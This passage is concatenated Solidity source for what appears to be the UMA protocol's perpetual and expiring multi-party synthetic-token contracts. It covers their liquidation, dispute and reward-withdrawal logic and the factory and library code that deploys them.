* @notice Checks if a given account holds the Burner role.
* @param account The address which is checked for the Burner role.
* @return bool True if the provided account is a Burner.
*/
function isBurner(address account) public view nonReentrantView() returns (bool) {
return holdsRole(uint256(Roles.Burner), account);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./Perpetual.sol";
/**
* @title Provides convenient Perpetual Multi Party contract utilities.
* @dev Using this library to deploy Perpetuals allows calling contracts to avoid importing the full bytecode.
*/
library PerpetualLib {
/**
* @notice Returns address of new Perpetual deployed with given `params` configuration.
* @dev Caller will need to register new Perpetual with the Registry to begin requesting prices. Caller is also
* responsible for enforcing constraints on `params`.
* @param params is a `ConstructorParams` object from Perpetual.
* @return address of the deployed Perpetual contract
*/
function deploy(Perpetual.ConstructorParams memory params) public returns (address) {
Perpetual derivative = new Perpetual(params);
return address(derivative);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./PerpetualLiquidatable.sol";
/**
* @title Perpetual Multiparty Contract.
* @notice Convenient wrapper for Liquidatable.
*/
contract Perpetual is PerpetualLiquidatable {
/**
* @notice Constructs the Perpetual contract.
* @param params struct to define input parameters for construction of Liquidatable. Some params
* are fed directly into the PositionManager's constructor within the inheritance tree.
*/
constructor(ConstructorParams memory params)
public
PerpetualLiquidatable(params)
// Note: since there is no logic here, there is no need to add a re-entrancy guard.
{
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "@openzeppelin/contracts/math/SafeMath.sol";
import "@openzeppelin/contracts/token/ERC20/SafeERC20.sol";
import "./PerpetualPositionManager.sol";
import "../../common/implementation/FixedPoint.sol";
/**
* @title PerpetualLiquidatable
* @notice Adds logic to a position-managing contract that enables callers to liquidate an undercollateralized position.
* @dev The liquidation has a liveness period before expiring successfully, during which someone can "dispute" the
* liquidation, which sends a price request to the relevant Oracle to settle the final collateralization ratio based on
* a DVM price. The contract enforces dispute rewards in order to incentivize disputers to correctly dispute false
* liquidations and compensate position sponsors who had their position incorrectly liquidated. Importantly, a
* prospective disputer must deposit a dispute bond that they can lose in the case of an unsuccessful dispute.
* NOTE: this contract does _not_ work with ERC777 collateral currencies or any others that call into the receiver on
* transfer(). Using an ERC777 token would allow a user to maliciously grief other participants (while also losing
* money themselves).
*/
contract PerpetualLiquidatable is PerpetualPositionManager {
using FixedPoint for FixedPoint.Unsigned;
using SafeMath for uint256;
using SafeERC20 for IERC20;
/****************************************
* LIQUIDATION DATA STRUCTURES *
****************************************/
// Because of the check in withdrawable(), the order of these enum values should not change.
enum Status { Uninitialized, NotDisputed, Disputed, DisputeSucceeded, DisputeFailed }
struct LiquidationData {
// Following variables set upon creation of liquidation:
address sponsor; // Address of the liquidated position's sponsor
address liquidator; // Address who created this liquidation
Status state; // Liquidated (and expired or not), Pending a Dispute, or Dispute has resolved
uint256 liquidationTime; // Time when liquidation is initiated, needed to get price from Oracle
// Following variables determined by the position that is being liquidated:
FixedPoint.Unsigned tokensOutstanding; // Synthetic tokens required to be burned by liquidator to initiate dispute
FixedPoint.Unsigned lockedCollateral; // Collateral locked by contract and released upon expiry or post-dispute
// Amount of collateral being liquidated, which could be different from
// lockedCollateral if there were pending withdrawals at the time of liquidation
FixedPoint.Unsigned liquidatedCollateral;
// Unit value (starts at 1) that is used to track the fees per unit of collateral over the course of the liquidation.
FixedPoint.Unsigned rawUnitCollateral;
// Following variable set upon initiation of a dispute:
address disputer; // Person who is disputing a liquidation
// Following variable set upon a resolution of a dispute:
FixedPoint.Unsigned settlementPrice; // Final price as determined by an Oracle following a dispute
FixedPoint.Unsigned finalFee;
}
// Define the contract's constructor parameters as a struct to enable more variables to be specified.
// This is required to enable more params, over and above Solidity's limits.
struct ConstructorParams {
// Params for PerpetualPositionManager only.
uint256 withdrawalLiveness;
address configStoreAddress;
address collateralAddress;
address tokenAddress;
address finderAddress;
address timerAddress;
bytes32 priceFeedIdentifier;
bytes32 fundingRateIdentifier;
FixedPoint.Unsigned minSponsorTokens;
FixedPoint.Unsigned tokenScaling;
// Params specifically for PerpetualLiquidatable.
uint256 liquidationLiveness;
FixedPoint.Unsigned collateralRequirement;
FixedPoint.Unsigned disputeBondPercentage;
FixedPoint.Unsigned sponsorDisputeRewardPercentage;
FixedPoint.Unsigned disputerDisputeRewardPercentage;
}
// This struct is used in the `withdrawLiquidation` method that disperses liquidation and dispute rewards.
// `payToX` stores the total collateral to withdraw from the contract to pay X. This value might differ
// from `paidToX` due to precision loss between accounting for the `rawCollateral` versus the
// fee-adjusted collateral. These variables are stored within a struct to avoid the stack too deep error.
struct RewardsData {
FixedPoint.Unsigned payToSponsor;
FixedPoint.Unsigned payToLiquidator;
FixedPoint.Unsigned payToDisputer;
FixedPoint.Unsigned paidToSponsor;
FixedPoint.Unsigned paidToLiquidator;
FixedPoint.Unsigned paidToDisputer;
}
// Liquidations are unique by ID per sponsor
mapping(address => LiquidationData[]) public liquidations;
// Total collateral in liquidation.
FixedPoint.Unsigned public rawLiquidationCollateral;
// Immutable contract parameters:
// Amount of time for pending liquidation before expiry.
// !!Note: The lower the liquidation liveness value, the more risk incurred by sponsors.
// Extremely low liveness values increase the chance that opportunistic invalid liquidations
// expire without dispute, thereby decreasing the usability for sponsors and increasing the risk
// for the contract as a whole. An insolvent contract is extremely risky for any sponsor or synthetic
// token holder for the contract.
uint256 public liquidationLiveness;
// Required collateral:TRV ratio for a position to be considered sufficiently collateralized.
FixedPoint.Unsigned public collateralRequirement;
// Percent of a Liquidation/Position's lockedCollateral to be deposited by a potential disputer
// Represented as a multiplier, for example 1.5e18 = "150%" and 0.05e18 = "5%"
FixedPoint.Unsigned public disputeBondPercentage;
// Percent of oraclePrice paid to sponsor in the Disputed state (i.e. following a successful dispute)
// Represented as a multiplier, see above.
FixedPoint.Unsigned public sponsorDisputeRewardPercentage;
// Percent of oraclePrice paid to disputer in the Disputed state (i.e. following a successful dispute)
// Represented as a multiplier, see above.
FixedPoint.Unsigned public disputerDisputeRewardPercentage;
/****************************************
* EVENTS *
****************************************/
event LiquidationCreated(
address indexed sponsor,
address indexed liquidator,
uint256 indexed liquidationId,
uint256 tokensOutstanding,
uint256 lockedCollateral,
uint256 liquidatedCollateral,
uint256 liquidationTime
);
event LiquidationDisputed(
address indexed sponsor,
address indexed liquidator,
address indexed disputer,
uint256 liquidationId,
uint256 disputeBondAmount
);
event DisputeSettled(
address indexed caller,
address indexed sponsor,
address indexed liquidator,
address disputer,
uint256 liquidationId,
bool disputeSucceeded
);
event LiquidationWithdrawn(
address indexed caller,
uint256 paidToLiquidator,
uint256 paidToDisputer,
uint256 paidToSponsor,
Status indexed liquidationStatus,
uint256 settlementPrice
);
/****************************************
* MODIFIERS *
****************************************/
modifier disputable(uint256 liquidationId, address sponsor) {
_disputable(liquidationId, sponsor);
_;
}
modifier withdrawable(uint256 liquidationId, address sponsor) {
_withdrawable(liquidationId, sponsor);
_;
}
/**
* @notice Constructs the liquidatable contract.
* @param params struct to define input parameters for construction of Liquidatable. Some params
* are fed directly into the PositionManager's constructor within the inheritance tree.
*/
constructor(ConstructorParams memory params)
public
PerpetualPositionManager(
params.withdrawalLiveness,
params.collateralAddress,
params.tokenAddress,
params.finderAddress,
params.priceFeedIdentifier,
params.fundingRateIdentifier,
params.minSponsorTokens,
params.configStoreAddress,
params.tokenScaling,
params.timerAddress
)
{
require(params.collateralRequirement.isGreaterThan(1));
require(params.sponsorDisputeRewardPercentage.add(params.disputerDisputeRewardPercentage).isLessThan(1));
// Set liquidatable specific variables.
liquidationLiveness = params.liquidationLiveness;
collateralRequirement = params.collateralRequirement;
disputeBondPercentage = params.disputeBondPercentage;
sponsorDisputeRewardPercentage = params.sponsorDisputeRewardPercentage;
disputerDisputeRewardPercentage = params.disputerDisputeRewardPercentage;
}
/****************************************
* LIQUIDATION FUNCTIONS *
****************************************/
/**
* @notice Liquidates the sponsor's position if the caller has enough
* synthetic tokens to retire the position's outstanding tokens. Liquidations above
* a minimum size also reset an ongoing "slow withdrawal"'s liveness.
* @dev This method generates an ID that will uniquely identify liquidation for the sponsor. This contract must be
* approved to spend at least `tokensLiquidated` of `tokenCurrency` and at least `finalFeeBond` of `collateralCurrency`.
* @dev This contract must have the Burner role for the `tokenCurrency`.
* @param sponsor address of the sponsor to liquidate.
* @param minCollateralPerToken abort the liquidation if the position's collateral per token is below this value.
* @param maxCollateralPerToken abort the liquidation if the position's collateral per token exceeds this value.
* @param maxTokensToLiquidate max number of tokens to liquidate.
* @param deadline abort the liquidation if the transaction is mined after this timestamp.
* @return liquidationId ID of the newly created liquidation.
* @return tokensLiquidated amount of synthetic tokens removed and liquidated from the `sponsor`'s position.
* @return finalFeeBond amount of collateral to be posted by liquidator and returned if not disputed successfully.
*/
function createLiquidation(
address sponsor,
FixedPoint.Unsigned calldata minCollateralPerToken,
FixedPoint.Unsigned calldata maxCollateralPerToken,
FixedPoint.Unsigned calldata maxTokensToLiquidate,
uint256 deadline
)
external
notEmergencyShutdown()
fees()
nonReentrant()
returns (
uint256 liquidationId,
FixedPoint.Unsigned memory tokensLiquidated,
FixedPoint.Unsigned memory finalFeeBond
)
{
// Check that this transaction was mined pre-deadline.
require(getCurrentTime() <= deadline, "Mined after deadline");
// Retrieve Position data for sponsor
PositionData storage positionToLiquidate = _getPositionData(sponsor);
tokensLiquidated = FixedPoint.min(maxTokensToLiquidate, positionToLiquidate.tokensOutstanding);
require(tokensLiquidated.isGreaterThan(0));
// Starting values for the Position being liquidated. If withdrawal request amount is > position's collateral,
// then set this to 0, otherwise set it to (startCollateral - withdrawal request amount).
FixedPoint.Unsigned memory startCollateral = _getFeeAdjustedCollateral(positionToLiquidate.rawCollateral);
FixedPoint.Unsigned memory startCollateralNetOfWithdrawal = FixedPoint.fromUnscaledUint(0);
if (positionToLiquidate.withdrawalRequestAmount.isLessThanOrEqual(startCollateral)) {
startCollateralNetOfWithdrawal = startCollateral.sub(positionToLiquidate.withdrawalRequestAmount);
}
// Scoping to get rid of a stack too deep error.
{
FixedPoint.Unsigned memory startTokens = positionToLiquidate.tokensOutstanding;
// The Position's collateralization ratio must be between [minCollateralPerToken, maxCollateralPerToken].
require(
maxCollateralPerToken.mul(startTokens).isGreaterThanOrEqual(startCollateralNetOfWithdrawal),
"CR is more than max liq. price"
);
// minCollateralPerToken >= startCollateralNetOfWithdrawal / startTokens.
require(
minCollateralPerToken.mul(startTokens).isLessThanOrEqual(startCollateralNetOfWithdrawal),
"CR is less than min liq. price"
);
}
// Compute final fee at time of liquidation.
finalFeeBond = _computeFinalFees();
// These will be populated within the scope below.
FixedPoint.Unsigned memory lockedCollateral;
FixedPoint.Unsigned memory liquidatedCollateral;
// Scoping to get rid of a stack too deep error. The amount of tokens to remove from the position
// are not funding-rate adjusted because the multiplier only affects their redemption value, not their
// notional.
{
FixedPoint.Unsigned memory ratio = tokensLiquidated.div(positionToLiquidate.tokensOutstanding);
// The actual amount of collateral that gets moved to the liquidation.
lockedCollateral = startCollateral.mul(ratio);
// For purposes of disputes, it's actually this liquidatedCollateral value that's used. This value is net of
// withdrawal requests.
liquidatedCollateral = startCollateralNetOfWithdrawal.mul(ratio);
// Part of the withdrawal request is also removed. Ideally:
// liquidatedCollateral + withdrawalAmountToRemove = lockedCollateral.
FixedPoint.Unsigned memory withdrawalAmountToRemove =
positionToLiquidate.withdrawalRequestAmount.mul(ratio);
_reduceSponsorPosition(sponsor, tokensLiquidated, lockedCollateral, withdrawalAmountToRemove);
}
// Add to the global liquidation collateral count.
_addCollateral(rawLiquidationCollateral, lockedCollateral.add(finalFeeBond));
// Construct liquidation object.
// Note: All dispute-related values are zeroed out until a dispute occurs. liquidationId is the index of the new
// LiquidationData that is pushed into the array, which is equal to the current length of the array pre-push.
liquidationId = liquidations[sponsor].length;
liquidations[sponsor].push(
LiquidationData({
sponsor: sponsor,
liquidator: msg.sender,
state: Status.NotDisputed,
liquidationTime: getCurrentTime(),
tokensOutstanding: _getFundingRateAppliedTokenDebt(tokensLiquidated),
lockedCollateral: lockedCollateral,
liquidatedCollateral: liquidatedCollateral,
rawUnitCollateral: _convertToRawCollateral(FixedPoint.fromUnscaledUint(1)),
disputer: address(0),
settlementPrice: FixedPoint.fromUnscaledUint(0),
finalFee: finalFeeBond
})
);
// If this liquidation is a subsequent liquidation on the position, and the liquidation size is larger than
// some "griefing threshold", then re-set the liveness. This enables a liquidation against a withdraw request to be
// "dragged out" if the position is very large and liquidators need time to gather funds. The griefing threshold
// is enforced so that liquidations for trivially small # of tokens cannot drag out an honest sponsor's slow withdrawal.
// We arbitrarily set the "griefing threshold" to `minSponsorTokens` because it is the only parameter
// denominated in token currency units and we can avoid adding another parameter.
FixedPoint.Unsigned memory griefingThreshold = minSponsorTokens;
if (
positionToLiquidate.withdrawalRequestPassTimestamp > 0 && // The position is undergoing a slow withdrawal.
positionToLiquidate.withdrawalRequestPassTimestamp > getCurrentTime() && // The slow withdrawal has not yet expired.
tokensLiquidated.isGreaterThanOrEqual(griefingThreshold) // The liquidated token count is above a "griefing threshold".
) {
positionToLiquidate.withdrawalRequestPassTimestamp = getCurrentTime().add(withdrawalLiveness);
}
emit LiquidationCreated(
sponsor,
msg.sender,
liquidationId,
_getFundingRateAppliedTokenDebt(tokensLiquidated).rawValue,
lockedCollateral.rawValue,
liquidatedCollateral.rawValue,
getCurrentTime()
);
// Destroy tokens
tokenCurrency.safeTransferFrom(msg.sender, address(this), tokensLiquidated.rawValue);
tokenCurrency.burn(tokensLiquidated.rawValue);
// Pull final fee from liquidator.
collateralCurrency.safeTransferFrom(msg.sender, address(this), finalFeeBond.rawValue);
}
/**
* @notice Disputes a liquidation, if the caller has enough collateral to post a dispute bond and pay a fixed final
* fee charged on each price request.
* @dev Can only dispute a liquidation before the liquidation expires and if there are no other pending disputes.
* This contract must be approved to spend at least the dispute bond amount of `collateralCurrency`. This dispute
* bond amount is calculated from `disputeBondPercentage` times the collateral in the liquidation.
* @param liquidationId of the disputed liquidation.
* @param sponsor the address of the sponsor whose liquidation is being disputed.
* @return totalPaid amount of collateral charged to disputer (i.e. final fee bond + dispute bond).
*/
function dispute(uint256 liquidationId, address sponsor)
external
disputable(liquidationId, sponsor)
fees()
nonReentrant()
returns (FixedPoint.Unsigned memory totalPaid)
{
LiquidationData storage disputedLiquidation = _getLiquidationData(sponsor, liquidationId);
// Multiply by the unit collateral so the dispute bond is a percentage of the locked collateral after fees.
FixedPoint.Unsigned memory disputeBondAmount =
disputedLiquidation.lockedCollateral.mul(disputeBondPercentage).mul(
_getFeeAdjustedCollateral(disputedLiquidation.rawUnitCollateral)
);
_addCollateral(rawLiquidationCollateral, disputeBondAmount);
// Request a price from DVM. Liquidation is pending dispute until DVM returns a price.
disputedLiquidation.state = Status.Disputed;
disputedLiquidation.disputer = msg.sender;
// Enqueue a request with the DVM.
_requestOraclePrice(disputedLiquidation.liquidationTime);
emit LiquidationDisputed(
sponsor,
disputedLiquidation.liquidator,
msg.sender,
liquidationId,
disputeBondAmount.rawValue
);
totalPaid = disputeBondAmount.add(disputedLiquidation.finalFee);
// Pay the final fee for requesting price from the DVM.
_payFinalFees(msg.sender, disputedLiquidation.finalFee);
// Transfer the dispute bond amount from the caller to this contract.
collateralCurrency.safeTransferFrom(msg.sender, address(this), disputeBondAmount.rawValue);
}
/**
* @notice After a dispute has settled or after a non-disputed liquidation has expired,
* anyone can call this method to disperse payments to the sponsor, liquidator, and disputer.
* @dev If the dispute SUCCEEDED: the sponsor, liquidator, and disputer are eligible for payment.
* If the dispute FAILED: only the liquidator receives payment. This method deletes the liquidation data.
* This method will revert if rewards have already been dispersed.
* @param liquidationId uniquely identifies the sponsor's liquidation.
* @param sponsor address of the sponsor associated with the liquidation.
* @return data about rewards paid out.
*/
function withdrawLiquidation(uint256 liquidationId, address sponsor)
public
withdrawable(liquidationId, sponsor)
fees()
nonReentrant()
returns (RewardsData memory)
{
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
// Settles the liquidation if necessary. This call will revert if the price has not resolved yet.
_settle(liquidationId, sponsor);
// Calculate rewards as a function of the TRV.
// Note1: all payouts are scaled by the unit collateral value so all payouts are charged the fees pro rata.
// Note2: the tokenRedemptionValue uses the tokensOutstanding which was calculated using the funding rate at
// liquidation time from _getFundingRateAppliedTokenDebt. Therefore the TRV considers the full debt value at that time.
FixedPoint.Unsigned memory feeAttenuation = _getFeeAdjustedCollateral(liquidation.rawUnitCollateral);
FixedPoint.Unsigned memory settlementPrice = liquidation.settlementPrice;
FixedPoint.Unsigned memory tokenRedemptionValue =
liquidation.tokensOutstanding.mul(settlementPrice).mul(feeAttenuation);
FixedPoint.Unsigned memory collateral = liquidation.lockedCollateral.mul(feeAttenuation);
FixedPoint.Unsigned memory disputerDisputeReward = disputerDisputeRewardPercentage.mul(tokenRedemptionValue);
FixedPoint.Unsigned memory sponsorDisputeReward = sponsorDisputeRewardPercentage.mul(tokenRedemptionValue);
FixedPoint.Unsigned memory disputeBondAmount = collateral.mul(disputeBondPercentage);
FixedPoint.Unsigned memory finalFee = liquidation.finalFee.mul(feeAttenuation);
// There are three main outcome states: either the dispute succeeded, failed or was not updated.
// Based on the state, different parties of a liquidation receive different amounts.
// After assigning rewards based on the liquidation status, decrease the total collateral held in this contract
// by the amount to pay each party. The actual amounts withdrawn might differ if _removeCollateral causes
// precision loss.
RewardsData memory rewards;
if (liquidation.state == Status.DisputeSucceeded) {
// If the dispute is successful then all three users should receive rewards:
// Pay DISPUTER: disputer reward + dispute bond + returned final fee
rewards.payToDisputer = disputerDisputeReward.add(disputeBondAmount).add(finalFee);
// Pay SPONSOR: remaining collateral (collateral - TRV) + sponsor reward
rewards.payToSponsor = sponsorDisputeReward.add(collateral.sub(tokenRedemptionValue));
// Pay LIQUIDATOR: TRV - dispute reward - sponsor reward
// If TRV > Collateral, then subtract rewards from collateral
// NOTE: This should never be below zero since we prevent (sponsorDisputePercentage+disputerDisputePercentage) >= 0 in
// the constructor when these params are set.
rewards.payToLiquidator = tokenRedemptionValue.sub(sponsorDisputeReward).sub(disputerDisputeReward);
// Transfer rewards and debit collateral
rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator);
rewards.paidToSponsor = _removeCollateral(rawLiquidationCollateral, rewards.payToSponsor);
rewards.paidToDisputer = _removeCollateral(rawLiquidationCollateral, rewards.payToDisputer);
collateralCurrency.safeTransfer(liquidation.disputer, rewards.paidToDisputer.rawValue);
collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue);
collateralCurrency.safeTransfer(liquidation.sponsor, rewards.paidToSponsor.rawValue);
// In the case of a failed dispute only the liquidator can withdraw.
} else if (liquidation.state == Status.DisputeFailed) {
// Pay LIQUIDATOR: collateral + dispute bond + returned final fee
rewards.payToLiquidator = collateral.add(disputeBondAmount).add(finalFee);
// Transfer rewards and debit collateral
rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator);
collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue);
// If the state is pre-dispute but time has passed liveness then there was no dispute. We represent this
// state as a dispute failed and the liquidator can withdraw.
} else if (liquidation.state == Status.NotDisputed) {
// Pay LIQUIDATOR: collateral + returned final fee
rewards.payToLiquidator = collateral.add(finalFee);
// Transfer rewards and debit collateral
rewards.paidToLiquidator = _removeCollateral(rawLiquidationCollateral, rewards.payToLiquidator);
collateralCurrency.safeTransfer(liquidation.liquidator, rewards.paidToLiquidator.rawValue);
}
emit LiquidationWithdrawn(
msg.sender,
rewards.paidToLiquidator.rawValue,
rewards.paidToDisputer.rawValue,
rewards.paidToSponsor.rawValue,
liquidation.state,
settlementPrice.rawValue
);
// Free up space after collateral is withdrawn by removing the liquidation object from the array.
delete liquidations[sponsor][liquidationId];
return rewards;
}
/**
* @notice Gets all liquidation information for a given sponsor address.
* @param sponsor address of the position sponsor.
* @return liquidationData array of all liquidation information for the given sponsor address.
*/
function getLiquidations(address sponsor)
external
view
nonReentrantView()
returns (LiquidationData[] memory liquidationData)
{
return liquidations[sponsor];
}
/****************************************
* INTERNAL FUNCTIONS *
****************************************/
// This settles a liquidation if it is in the Disputed state. If not, it will immediately return.
// If the liquidation is in the Disputed state, but a price is not available, this will revert.
function _settle(uint256 liquidationId, address sponsor) internal {
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
// Settlement only happens when state == Disputed and will only happen once per liquidation.
// If this liquidation is not ready to be settled, this method should return immediately.
if (liquidation.state != Status.Disputed) {
return;
}
// Get the returned price from the oracle. If this has not yet resolved will revert.
liquidation.settlementPrice = _getOraclePrice(liquidation.liquidationTime);
// Find the value of the tokens in the underlying collateral.
FixedPoint.Unsigned memory tokenRedemptionValue =
liquidation.tokensOutstanding.mul(liquidation.settlementPrice);
// The required collateral is the value of the tokens in underlying * required collateral ratio.
FixedPoint.Unsigned memory requiredCollateral = tokenRedemptionValue.mul(collateralRequirement);
// If the position has more than the required collateral it is solvent and the dispute is valid (liquidation is invalid)
// Note that this check uses the liquidatedCollateral not the lockedCollateral as this considers withdrawals.
bool disputeSucceeded = liquidation.liquidatedCollateral.isGreaterThanOrEqual(requiredCollateral);
liquidation.state = disputeSucceeded ? Status.DisputeSucceeded : Status.DisputeFailed;
emit DisputeSettled(
msg.sender,
sponsor,
liquidation.liquidator,
liquidation.disputer,
liquidationId,
disputeSucceeded
);
}
function _pfc() internal view override returns (FixedPoint.Unsigned memory) {
return super._pfc().add(_getFeeAdjustedCollateral(rawLiquidationCollateral));
}
function _getLiquidationData(address sponsor, uint256 liquidationId)
internal
view
returns (LiquidationData storage liquidation)
{
LiquidationData[] storage liquidationArray = liquidations[sponsor];
// Revert if the caller is attempting to access an invalid liquidation
// (one that has never been created or one has never been initialized).
require(
liquidationId < liquidationArray.length && liquidationArray[liquidationId].state != Status.Uninitialized
);
return liquidationArray[liquidationId];
}
function _getLiquidationExpiry(LiquidationData storage liquidation) internal view returns (uint256) {
return liquidation.liquidationTime.add(liquidationLiveness);
}
// These internal functions are supposed to act identically to modifiers, but re-used modifiers
// unnecessarily increase contract bytecode size.
// source: https://blog.polymath.network/solidity-tips-and-tricks-to-save-gas-and-reduce-bytecode-size-c44580b218e6
function _disputable(uint256 liquidationId, address sponsor) internal view {
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
require(
(getCurrentTime() < _getLiquidationExpiry(liquidation)) && (liquidation.state == Status.NotDisputed),
"Liquidation not disputable"
);
}
function _withdrawable(uint256 liquidationId, address sponsor) internal view {
LiquidationData storage liquidation = _getLiquidationData(sponsor, liquidationId);
Status state = liquidation.state;
// Must be disputed or the liquidation has passed expiry.
require(
(state > Status.NotDisputed) ||
((_getLiquidationExpiry(liquidation) <= getCurrentTime()) && (state == Status.NotDisputed))
);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "../../common/interfaces/ExpandedIERC20.sol";
import "../../common/interfaces/IERC20Standard.sol";
import "../../oracle/implementation/ContractCreator.sol";
import "../../common/implementation/Testable.sol";
import "../../common/implementation/AddressWhitelist.sol";
import "../../common/implementation/Lockable.sol";
import "../common/TokenFactory.sol";
import "../common/SyntheticToken.sol";
import "./ExpiringMultiPartyLib.sol";
/**
* @title Expiring Multi Party Contract creator.
* @notice Factory contract to create and register new instances of expiring multiparty contracts.
* Responsible for constraining the parameters used to construct a new EMP. This creator contains a number of constraints
* that are applied to newly created expiring multi party contract. These constraints can evolve over time and are
* initially constrained to conservative values in this first iteration. Technically there is nothing in the
* ExpiringMultiParty contract requiring these constraints. However, because `createExpiringMultiParty()` is intended
* to be the only way to create valid financial contracts that are registered with the DVM (via _registerContract),
we can enforce deployment configurations here.
*/
contract ExpiringMultiPartyCreator is ContractCreator, Testable, Lockable {
using FixedPoint for FixedPoint.Unsigned;
/****************************************
* EMP CREATOR DATA STRUCTURES *
****************************************/
struct Params {
uint256 expirationTimestamp;
address collateralAddress;
bytes32 priceFeedIdentifier;
string syntheticName;
string syntheticSymbol;
FixedPoint.Unsigned collateralRequirement;
FixedPoint.Unsigned disputeBondPercentage;
FixedPoint.Unsigned sponsorDisputeRewardPercentage;
FixedPoint.Unsigned disputerDisputeRewardPercentage;
FixedPoint.Unsigned minSponsorTokens;
uint256 withdrawalLiveness;
uint256 liquidationLiveness;
address financialProductLibraryAddress;
}
// Address of TokenFactory used to create a new synthetic token.
address public tokenFactoryAddress;
event CreatedExpiringMultiParty(address indexed expiringMultiPartyAddress, address indexed deployerAddress);
/**
* @notice Constructs the ExpiringMultiPartyCreator contract.
* @param _finderAddress UMA protocol Finder used to discover other protocol contracts.
* @param _tokenFactoryAddress ERC20 token factory used to deploy synthetic token instances.
* @param _timerAddress Contract that stores the current time in a testing environment.
*/
constructor(
address _finderAddress,
address _tokenFactoryAddress,
address _timerAddress
) public ContractCreator(_finderAddress) Testable(_timerAddress) nonReentrant() {
tokenFactoryAddress = _tokenFactoryAddress;
}
/**
* @notice Creates an instance of expiring multi party and registers it within the registry.
* @param params is a `ConstructorParams` object from ExpiringMultiParty.
* @return address of the deployed ExpiringMultiParty contract.
*/
function createExpiringMultiParty(Params memory params) public nonReentrant() returns (address) {
// Create a new synthetic token using the params.
require(bytes(params.syntheticName).length != 0, "Missing synthetic name");
require(bytes(params.syntheticSymbol).length != 0, "Missing synthetic symbol");
TokenFactory tf = TokenFactory(tokenFactoryAddress);
// If the collateral token does not have a `decimals()` method, then a default precision of 18 will be
// applied to the newly created synthetic token.
uint8 syntheticDecimals = _getSyntheticDecimals(params.collateralAddress);
ExpandedIERC20 tokenCurrency = tf.createToken(params.syntheticName, params.syntheticSymbol, syntheticDecimals);
address derivative = ExpiringMultiPartyLib.deploy(_convertParams(params, tokenCurrency));
// Give permissions to new derivative contract and then hand over ownership.
tokenCurrency.addMinter(derivative);
tokenCurrency.addBurner(derivative);
tokenCurrency.resetOwner(derivative);
_registerContract(new address[](0), derivative);
emit CreatedExpiringMultiParty(derivative, msg.sender);
return derivative;
}
/****************************************
* PRIVATE FUNCTIONS *
****************************************/
// Converts createExpiringMultiParty params to ExpiringMultiParty constructor params.
function _convertParams(Params memory params, ExpandedIERC20 newTokenCurrency)
private
view
returns (ExpiringMultiParty.ConstructorParams memory constructorParams)
{
// Known from creator deployment.
constructorParams.finderAddress = finderAddress;
constructorParams.timerAddress = timerAddress;
// Enforce configuration constraints.
require(params.withdrawalLiveness != 0, "Withdrawal liveness cannot be 0");
require(params.liquidationLiveness != 0, "Liquidation liveness cannot be 0");
require(params.expirationTimestamp > now, "Invalid expiration time");
_requireWhitelistedCollateral(params.collateralAddress);
// We don't want EMP deployers to be able to intentionally or unintentionally set
// liveness periods that could induce arithmetic overflow, but we also don't want
// to be opinionated about what livenesses are "correct", so we will somewhat
// arbitrarily set the liveness upper bound to 100 years (5200 weeks). In practice, liveness
// periods even greater than a few days would make the EMP unusable for most users.
require(params.withdrawalLiveness < 5200 weeks, "Withdrawal liveness too large");
require(params.liquidationLiveness < 5200 weeks, "Liquidation liveness too large");
// Input from function call.
constructorParams.tokenAddress = address(newTokenCurrency);
constructorParams.expirationTimestamp = params.expirationTimestamp;
constructorParams.collateralAddress = params.collateralAddress;
constructorParams.priceFeedIdentifier = params.priceFeedIdentifier;
constructorParams.collateralRequirement = params.collateralRequirement;
constructorParams.disputeBondPercentage = params.disputeBondPercentage;
constructorParams.sponsorDisputeRewardPercentage = params.sponsorDisputeRewardPercentage;
constructorParams.disputerDisputeRewardPercentage = params.disputerDisputeRewardPercentage;
constructorParams.minSponsorTokens = params.minSponsorTokens;
constructorParams.withdrawalLiveness = params.withdrawalLiveness;
constructorParams.liquidationLiveness = params.liquidationLiveness;
constructorParams.financialProductLibraryAddress = params.financialProductLibraryAddress;
}
// IERC20Standard.decimals() will revert if the collateral contract has not implemented the decimals() method,
// which is possible since the method is only an OPTIONAL method in the ERC20 standard:
// https://eips.ethereum.org/EIPS/eip-20#methods.
function _getSyntheticDecimals(address _collateralAddress) public view returns (uint8 decimals) {
try IERC20Standard(_collateralAddress).decimals() returns (uint8 _decimals) {
return _decimals;
} catch {
return 18;
}
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./ExpiringMultiParty.sol";
/**
* @title Provides convenient Expiring Multi Party contract utilities.
* @dev Using this library to deploy EMP's allows calling contracts to avoid importing the full EMP bytecode.
*/
library ExpiringMultiPartyLib {
/**
* @notice Returns address of new EMP deployed with given `params` configuration.
* @dev Caller will need to register new EMP with the Registry to begin requesting prices. Caller is also
* responsible for enforcing constraints on `params`.
* @param params is a `ConstructorParams` object from ExpiringMultiParty.
* @return address of the deployed ExpiringMultiParty contract
*/
function deploy(ExpiringMultiParty.ConstructorParams memory params) public returns (address) {
ExpiringMultiParty derivative = new ExpiringMultiParty(params);
return address(derivative);
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
import "./Liquidatable.sol";
/**
* @title Expiring Multi Party.
* @notice Convenient wrapper for Liquidatable.
*/
contract ExpiringMultiParty is Liquidatable {
/**
* @notice Constructs the ExpiringMultiParty contract.
* @param params struct to define input parameters for construction of Liquidatable. Some params
* are fed directly into the PricelessPositionManager's constructor within the inheritance tree.
*/
constructor(ConstructorParams memory params)
public
Liquidatable(params)
// Note: since there is no logic here, there is no need to add a re-entrancy guard.
{
}
}
// SPDX-License-Identifier: AGPL-3.0-only
pragma solidity ^0.6.0;
